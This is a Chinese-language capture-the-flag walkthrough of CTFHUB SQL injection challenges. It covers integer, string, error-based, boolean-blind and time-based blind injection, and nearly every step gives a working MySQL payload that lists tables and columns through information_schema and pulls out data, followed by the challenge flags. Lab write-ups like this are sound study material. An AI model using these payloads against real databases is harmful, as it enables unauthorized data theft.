CTFHUB web之sql注入(一)
这几天把sql注入最基础的一些给学了,用到了CTFHUB平台
1.整数型注入
拿到题目,打开网址,我们往输入框里输入1,显示如下,接下来我们输入

1'-- - |
我们发现,输入第五条时,回显存在,接下来我们以第五条为基础,编写我们的注入语句
我们查询的顺序依次是:
DATABASE()——表名(table_name)——列名(column_name)——列中内容
首先我们使用order by语句
1 order by xxx -- - |
我们注意到,order by语句后为1和2时存在回显,3则无回显,我们得知,接下来的联合查询union select语句
应该为
1 union select 1,2 -- - |
输入后我们观察到

成功出现回显,将1改为-1接着我们逐步搜查表名,列名
库名:
-1 union select 1,database() -- - |
表名:
-1 union select 1,table_name from information_schema.tables where table_schema = database() -- - |

这里发现,只显示了其中一个表,为了显示出更多的表名,我们使用group_concat()函数,构造语句
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() -- - |

出现了第二个表名’flag’这个大概是我们需要的表
接下来是列名,我们构造语句
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'flag' -- - |

为了更严格,我们可以改为
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema = DATABASE() AND table_name = 'flag' -- - |
我们得到了列名,接下来可查询’flag’列中内容,我们构造语句
-1 union select 1,group_concat(flag) from flag -- - |
成功得到flag:ctfhub{dcbabdd32219de44f1513c3b}

2.字符注入

与之前相同,我们先判断是否存在注入漏洞以及闭合方式
1'-- - |
接着我们来通过order by语句和union select语句
与上文的语句大致相同,我们可得到flag:ctfhub{0f30b333f2c779e2af8f9210}

3.报错注入
报错注入并不会直接返回信息,但还是存在回显的,我们可以通过构造语句,让报错的语句中出现我们想要得到的目标

这里我们使用extractvalue()函数,concat()函数,构造语句,得到结果
首先是查询库
1 and (select extractvalue(1,concat(0x7e,database()))) -- - |

我们得到库名为’sqli’
接下来构造语句查询表名
1 and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database())))) -- - |

我们可得到表名’flag’,接下来我们可得到列名
1 and (select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'flag')))) -- - |

接下来我们查询列’flag’中内容:ctfhub{c69dd4ccce9c6c70d507b54a}
1 and (select extractvalue(1,concat(0x7e,(select group_concat(flag) from flag)))) -- - |

4.布尔盲注

这里我们注意到,已经几乎没有回显了,没有返回信息,但还存在query_success,来提醒我们查询是否成功,接下来我们就逐步,一点点从库长度,库名,表个数,表名长度,表名,列个数,列名长度,列名,到最后我们得到内容,内容字节较多,我们使用py脚本就行爆破,得到flag
首先是库长度,我们构造语句
2 and length(database()) #后接'>','=','<',采用二分法判断 |
我们查出这里database()长度为4

接下来我们来构造语句查询库名
2 and left(database(),1)='x' |
我们最后可以得到,库名为’sqli’

接下来我们判断表的情况
因为表可能存在多个,所以我们先构造语句判断表的个数
我们使用count()函数,
2 and (select count(*) from information_schema.tables where table_schema = database()) > 1 -- - |

我们得到,表有两个,接下来我们分别判断这两个表的长度
1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)) =4 -- - |
我们通过改变limit 后数来选择表
0,1 #第一张表 |
接着我们来爆表名
1 and (select substr(table_name,1,4) from information_schema.tables where table_schema = database() limit 1,1) = 'flag' |
我们分别得到第一张表名为’news’,第二张表名为’flag’

接着我们来爆列个数,列长度,列名
分别构造语句
2 and (select count(*) from information_schema.columns where table_name = 'flag') =x -- - |
2 and length(substr((select column_name from information_schema.columns where table_name = 'flag' limit 0,1),1)) = -- - |
2 and (select substr(column_name,1,4) from information_schema.columns where table_name = 'flag' limit 0,1) = 'flag' -- - |

我们得到了列名为’flag’
最后我们来爆出最后的flag
flag过长,我们采用脚本爆破
import requests |
我们得到最终flag:ctfhub{ae5e12c7977a8ff51ed577e8}

5.时间盲注
你的意思是?时间盲注,就是在布尔盲注的基础上,因为没有回显,用到sleep()函数和if()函数,选用bp半自动注入?以返回时间为判断是否成功?


拿到题目,我们发现,真的是啥都不回,我们采用时间盲注
这里用到if(condition,A,B)函数和sleep()函数,在if()函数中,若condition成立,则执行A条件语句,否则执行B条件语句
那我们先试一下基础的判断
1 and if(2>1,sleep(5),1) -- - |
这里我们发现,网页在近5秒后,才出现页面更改
接着我们像布尔盲注那样,慢慢爆破出各项
1 and if(left(database(),1)='x',sleep(5),1) -- - |

我们成功得到库名’sqli’
接下来是爆出表个数,表长度,表名
2 and if((select count(*) from information_schema.tables where table_schema = database()) =x ,sleep(5),1)-- - |
2 and if (length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)) =4,sleep(5),1) -- - |
2 and if((select substr(table_name,1,4) from information_schema.tables where table_schema = database() limit 1,1) = 'flag',sleep(5),1) -- - |

我们成功得到了存在两张表,第二张表长度为4,表名为’flag’
接下来是对列的个数,列长度,列名爆破
2 and if((select count(*) from information_schema.columns where table_name = 'flag') =x,sleep(5),1) -- - |
2 and if(length(substr((select column_name from information_schema.columns where table_name = 'flag' limit 0,1),1)) =4,sleep(5),1) -- - |
2 and if((select substr(column_name,1,4) from information_schema.columns where table_name = 'flag' limit 0,1) = 'flag',sleep(5),1) -- - |

我们成功得到了列有1个,列长度为4,列名为’flag’
我们借助脚本爆破出flag:ctfhub{3ddf5af78cc199cfe0536dd5}

展示成果:

彩蛋:

想要成为MUSE高手。。。